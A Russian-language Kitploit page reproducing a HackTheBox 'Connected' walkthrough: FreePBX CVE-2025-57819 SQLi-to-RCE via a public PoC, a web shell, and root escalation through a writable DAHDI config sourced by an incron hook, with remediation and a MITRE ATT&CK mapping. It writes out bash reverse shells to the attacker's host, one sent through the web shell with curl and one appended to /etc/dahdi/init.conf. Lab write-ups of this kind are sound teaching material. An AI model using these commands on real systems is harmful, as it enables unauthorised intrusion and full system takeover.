Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
HackTheBox-Connected — Подробный разбор пентеста машины HackTheBox «Connected», охватывающий эксплуатацию CVE-2025-57819 в FreePBX (SQLi до RCE) и повышение привилегий до root через неверную конфигурацию incron. | Kitploit
Инструменты/GitHubGitHub/ikmalhanaan/hackthebox-connected
Повышение привилегийРазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и Образование

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
ikmalhanaan/hackthebox-connected

HackTheBox-Connected

Подробный разбор пентеста машины HackTheBox «Connected», охватывающий эксплуатацию CVE-2025-57819 в FreePBX (SQLi до RCE) и повышение привилегий до root через неверную конфигурацию incron.

Репозиторий
14 дней назадЕщё не проверено

HTB Connected Completed Banner

Hack The Box: Connected — Профессиональный разбор пентеста (Writeup)


📋 Резюме для руководства (Executive Summary)

Connected — это Linux-машина на базе CentOS, на которой работает VoIP-система FreePBX v16.0.40.7, интегрированная с Asterisk.

Цепочка эксплуатации (Attack Vector / Kill Chain) состоит из двух основных этапов:

  1. Initial Foothold (Первоначальный доступ): Эксплуатация критической уязвимости CVE-2025-57819 (Обход аутентификации и SQL-инъекция без авторизации, приводящие к удалённому выполнению кода / RCE) в FreePBX для внедрения веб-шелла и получения reverse shell от имени служебного пользователя asterisk.
  2. Privilege Escalation (Повышение привилегий до root): Аудит локальной конфигурации системы выявляет демон incron (inotify cron), который отслеживает файлы spool. Этот триггер выполняет root-скрипт /usr/sbin/sysadmin_dahdi_restart при записи в файл /var/spool/asterisk/sysadmin/dahdi_restart. Поскольку файл конфигурации DAHDI /etc/dahdi/init.conf доступен для записи (writable) пользователю asterisk, внедрение reverse shell payload в этот конфигурационный файл автоматически выполняется с правами root (uid=0).

📑 Содержание (Table of Contents)

  1. Информация о машине и тестовой среде
  2. Фаза 1: Разведка и сканирование портов (Сетевая разведка)
  3. Фаза 2: Веб-перечисление и идентификация уязвимостей
  4. Фаза 3: Первоначальный доступ (Эксплуатация CVE-2025-57819)
  5. Фаза 4: Пост-эксплуатация и повышение привилегий (Путь к root)
  6. Фаза 5: Анализ первопричины и рекомендации по смягчению (Hardening)
  7. Сопоставление с MITRE ATT&CK

1. Информация о машине и тестовой среде


2. Фаза 1: Разведка и сканирование портов (Сетевая разведка)

Первый шаг пентеста начинается с активной разведки с использованием nmap для идентификации открытых портов, запущенных служб и версий системы.

2.1 Запуск комплексного сканирования Nmap

root@kitploit:~
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick

Пояснение флагов Nmap:

  • -T4: Устанавливает агрессивный timing template для более быстрого и эффективного сканирования.
  • -sC: Запускает набор стандартных NSE (Nmap Scripting Engine) скриптов для базового обнаружения уязвимостей.
  • -sV: Включает определение версий служб на каждом отвечающем порту.
  • -oA recon/nmap_quick: Сохраняет все форматы вывода (standard, grepable, XML) в директорию recon.

2.2 Результаты анализа портов и служб

root@kitploit:~
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
|   256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_  256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp  open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after:  2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16

Nmap Scan Result

2.3 Ключевые выводы сканирования:

  1. Порт 22 (SSH): Используется OpenSSH версии 7.4 (характерно для CentOS 7).
  2. Порты 80 и 443 (HTTP/HTTPS): Используется веб-сервер Apache 2.4.6 со средой выполнения PHP 7.4.16. Веб-сервер отвечает HTTP-редиректом на домен http://connected.htb/.

3. Фаза 2: Веб-перечисление и идентификация уязвимостей

3.1 Настройка локального DNS-маппинга

Поскольку веб-сервер использует виртуальный хостинг и перенаправляет трафик на connected.htb, нам необходимо добавить разрешение локального имени хоста в /etc/hosts:

root@kitploit:~
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts

3.2 Идентификация веб-приложения (FreePBX)

Доступ к URL http://connected.htb/admin/config.php через браузер отображает веб-интерфейс управления VoIP:

FreePBX Web Interface

Из нижнего колонтитула веб-страницы получена конкретная информация о версии:

root@kitploit:~
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
  • Приложение: FreePBX Administration
  • Версия: 16.0.40.7
  • Вендор: Sangoma Technologies Inc.

4. Фаза 3: Первоначальный доступ (Эксплуатация CVE-2025-57819)

4.1 Анализ уязвимости (Vulnerability Analysis)

Версия FreePBX 16.0.40.7 уязвима к CVE-2025-57819. Эта уязвимость представляет собой SQL-инъекцию до аутентификации, которая позволяет атакующему без учетных данных (unauthenticated attacker) манипулировать внутренней базой данных FreePBX/Asterisk.

Посредством этой SQL-инъекции атакующий может изменить внутреннюю таблицу cron-задач Asterisk (asterisk.cron_jobs) или внедрить произвольный PHP-код в директорию веб-сервера (создав Web Shell), что приводит к удаленному выполнению кода (RCE).

4.2 Подготовка и запуск эксплойта

Мы используем публичный PoC-эксплойт от WatchTowr Labs:

root@kitploit:~
# 1. Клонирование репозитория эксплойта
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819

# 2. Запуск скрипта эксплойта против цели
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

WatchTowr Exploit Execution

Результат выполнения эксплойта: Скрипт успешно эксплуатирует цель и создает активный веб-шелл на конечной точке:

root@kitploit:~
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>

4.3 Установка Reverse Shell и получение User Flag

Чтобы получить интерактивную сессию (reverse shell), выполните следующие шаги:

  1. Откройте Netcat Listener на машине атакующего (Attacker Machine):

    root@kitploit:~
    nc -lvnp 1212
    
  2. Отправьте Payload Reverse Shell через Web Shell: Отправьте payload reverse shell с помощью curl с URL-кодированным параметром:

    root@kitploit:~
    curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
      --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
    
  3. Соединение Reverse Shell успешно установлено: Входящее соединение принимается listener'ом nc, и мы получаем доступ к интерактивной оболочке от имени пользователя asterisk.

Reverse Shell and User Flag

  1. Получение User Flag:
    root@kitploit:~
    [asterisk@connected html]$ cat /home/asterisk/user.txt
    

5. Фаза 4: Пост-эксплуатация и повышение привилегий (Путь к root)

После получения доступа от имени пользователя asterisk, следующим шагом является внутреннее перечисление для поиска вектора повышения привилегий до root.

5.1 Перечисление демона и монитора файлов (incron)

Мы проверяем конфигурацию демона incron (inotify cron table), службы, которая выполняет команды при возникновении событий файловой системы (таких как изменение или создание файла):

root@kitploit:~
[asterisk@connected html]$ cat /etc/incron.d/*

Вывод конфигурации Incron:

root@kitploit:~
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Анализ правил Incron:

  • Строка: /var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
  • Механизм: Всякий раз, когда файл /var/spool/asterisk/sysadmin/dahdi_restart закрывается после операции записи (IN_CLOSE_WRITE), система автоматически запускает скрипт /usr/sbin/sysadmin_dahdi_restart с привилегиями root.

5.2 Анализ скрипта DAHDI и уязвимости прав на запись к файлу

Дальнейшая проверка скрипта /usr/sbin/sysadmin_dahdi_restart показывает, что скрипт перезапускает службу DAHDI (Digium Asterisk Hardware Device Interface) и выполняет / подгружает (source) файл конфигурации /etc/dahdi/init.conf.

Проверка прав доступа к файлу /etc/dahdi/init.conf показывает, что этот файл доступен для записи (writable) пользователю asterisk:

root@kitploit:~
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf

5.3 Эксплуатация: Внедрение Payload и запуск события Incron

Поскольку /etc/dahdi/init.conf выполняется в контексте root при перезапуске DAHDI, мы можем вставить команду reverse shell в этот конфигурационный файл, а затем запустить перезапуск через incron.

  1. Откройте новый Listener на машине атакующего (Порт 4545):

    root@kitploit:~
    nc -lvnp 4545
    

    Root Netcat Listener

  2. Вставьте Reverse Shell в /etc/dahdi/init.conf:

    root@kitploit:~
    echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
    
  3. Запустите (Trigger) событие Incron через запись в файл Spool:

    root@kitploit:~
    echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
    

    Payload Injection & Trigger

5.4 Root Shell и получение флага

Через несколько секунд после обработки события записи файла демоном incron, root-скрипт выполняет вставленную командную строку, что приводит к соединению reverse shell от имени root (uid=0):

Root Shell and Flag

root@kitploit:~
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)

[root@connected /]# whoami
root

[root@connected /]# cat /root/root.txt

6. Фаза 5: Анализ первопричины и рекомендации по смягчению (Hardening)


7. Сопоставление с MITRE ATT&CK


Взломано ikmalhanaan 🚀

Скачать инструмент
КомпонентСпецификация / Описание
Имя машиныConnected
Операционная системаLinux (CentOS / FreePBX Distro)
IP-адрес цели<IP_TARGET> (connected.htb)
IP-адрес атакующего<IP_VPN_KITA> (VPN-интерфейс tun0)
Критическая уязвимостьCVE-2025-57819 (FreePBX Auth Bypass & SQLi to RCE)
Механизм PrivEscНеправильно настроенный Incron Daemon Hook + доступный для записи /etc/dahdi/init.conf
Используемые инструментыnmap, curl, python3, netcat (nc), bash, git
Вектор слабостиВоздействиеРекомендации по исправлению / смягчению
FreePBX Pre-Auth SQLi (CVE-2025-57819)Критическое — Позволяет выполнить RCE без аутентификации через инъекцию в базу данных.Обновите FreePBX до последней официальной пропатченной версии от Sangoma. Примените строгую проверку входных данных, а также Prepared Statements / Параметризованные запросы во всех конечных точках API.
Небезопасные права доступа к файлу (/etc/dahdi/init.conf)Высокое — Непривилегированный пользователь (asterisk) может изменять конфигурационный файл, который выполняется от имени root.Ограничьте права владения и записи конфигурационного файла: chmod 644 /etc/dahdi/init.conf и chown root:root /etc/dahdi/init.conf.
Автоматическое выполнение root-скриптов через IncronСреднее/Высокое — Автоматизированный root-скрипт загружает конфигурационный файл без проверки целостности.Проведите аудит всех правил incron и скриптов /usr/sbin/sysadmin_*. Избегайте подгрузки динамических конфигурационных файлов, которые могут быть изменены не-root пользователями.
ТактикаID техникиНазвание техникиПрименение на машине
Разведка (Reconnaissance)T1595.002Active Scanning: Vulnerability ScanningСканирование портов и служб с помощью nmap.
Первоначальный доступ (Initial Access)T1190Exploit Public-Facing ApplicationЭксплуатация уязвимости CVE-2025-57819 на веб-сервере FreePBX.
Выполнение (Execution)T1059.004Command and Scripting Interpreter: Unix ShellВыполнение команд bash reverse shell через веб-шелл и init-скрипт.
Постоянство / Повышение привилегий (Persistence / Privilege Escalation)T1053.003Scheduled Task/Job: CronИспользование демона incron для автоматического выполнения root-задач.
Повышение привилегий (Privilege Escalation)T1574.009Hijack Execution Flow: Path/Configuration HijackingВнедрение вредоносных команд в конфигурационный файл /etc/dahdi/init.conf.
Доступ к учетным данным / Сбор данных (Credential Access / Collection)T1005Data from Local SystemЧтение флагов user.txt и root.txt.